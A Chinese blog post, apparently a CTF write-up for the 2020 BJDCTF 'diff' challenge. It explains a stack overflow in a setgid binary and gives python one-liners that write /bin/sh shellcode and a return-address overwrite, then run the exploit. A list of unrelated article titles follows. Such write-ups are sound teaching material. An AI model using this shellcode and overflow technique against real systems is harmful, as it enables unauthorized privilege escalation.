diff:

不得不说这种题目挺有意思的,现在记录一下阶梯过程:

先登录远程,发现有两个文件:

虽然直接能卡到flag文件,但是我们是以ctf用户登录的,并不能直接打开flag文件。仔细观察diff文件组用户权限是r-s,这意味着我们以ctf用户运行diff却能得到ctf_pwn用户的权限,就能读取flag了,所以我们目标是运行diff并拿到shell。

其实在做这题之前有好几道类似的题,没有给任何文件,都需要ssh连接远程,之前我有尝试用scp把文件下载到本地,结果都是败了,所以这题我就没注意看。知道看wp时才意思到可以下载到本地,不得不说挺坑的。

下载后用IDA打开,直接看compare函数:

很明显存在栈溢出,所以我们可以向buf1中写入shellcode,向addr写入padding。

这里不得不说另一个坑了。我之前直接把shellcode的十六进制代码写入到文件中,结果读出来的不对,后来才意识到这样是以字符读入,失去本来的意思。

python -c "print '\xba\x00\x00\x00\x00\xb9\x00\x00\x00\x00h/sh\x00h/bin\x89\xe3\xb8\x0b\x00\x00\x00\xcd\x80'" > shellcode
python -c "print 'A'*0x7c + '\x24\xa0\x04\x08'" > padding
./diff shellcode padding

2020BJDCTF的更多相关文章

随机推荐

  1. C#LeetCode刷题之#171-Excel表列序号(Excel Sheet Column Number)

    问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/3852 访问. 给定一个Excel表格中的列名称,返回其相应的列序 ...

  2. 下载的附件名总乱码?你该去读一下 RFC 文档了!

    纸上得来终觉浅,绝知此事要躬行 Web 开发过程中,相信大家都遇到过附件下载的场景,其中,各浏览器下载后的文件名中文乱码问题或许一度让你苦恼不已. 网上搜索一下,大部分都是通过Request Head ...

  3. C语言文件读写命令fprintf和fscanf

    以向文件中读取和写入二维数组为例. 以下是fprintf的使用:向文件中写入10*10的二维数组,数组元素为1~100之间的随机数. #include <stdlib.h> #includ ...

  4. Java之reflection(反射机制)——通过反射操作泛型,注解

    一.反射操作泛型(Generic) Java采用泛型擦除机制来引入泛型.Java中的泛型仅仅是给编译器Javac使用的,确保数据的安全性和免去强制类型转换的麻烦.但是编译一旦完成,所有和泛型有关的类型 ...

  5. 痞子衡嵌入式:解锁i.MXRTxxx上FlexSPI模块自带的地址重映射(Remap)功能

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是i.MXRT三位数系列隐藏的FlexSPI Remap功能. 前段时间痞子衡写了一篇文章 <利用i.MXRT1060,1010上新 ...

  6. CVE-2020-15778 OpenSSH命令注入漏洞复现

    一.漏洞概要 OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令.目前绝大多数linux系统受影响. 参考链接:https://githu ...

  7. golang []byte 和 string相互转换

    原文链接:golang []byte和string相互转换 测试例子 package main import ( "fmt" ) func main() { str2 := &qu ...

  8. 计算机网络-网络层(6)ICMP协议

    互联网控制报文协议(ICMP,Internet Control Message Protocol),被主机和路由器用来彼此沟通网络层的信息 ICMP报文是承载在IP分组中的,即lCMP报文是作为IP有 ...

  9. Mac上如果看不到.git目录的解决方法

    Mac OS X上,如果需要查看.git目录下的隐藏文件,操作很简单: 做法是:打开一个Terminal终端窗口,输入: defaults write com.apple.finder AppleSh ...

  10. 有了MDL锁视图,业务死锁从此一目了然

    摘要:MDL锁视图让一线运维人员清晰地查看数据库各session持有和等待的元数据锁信息,从而找出数据库MDL锁等待的根因,准确地进行下一步决策. 当多用户共同存取数据时,数据库中就会产生多个事务同时 ...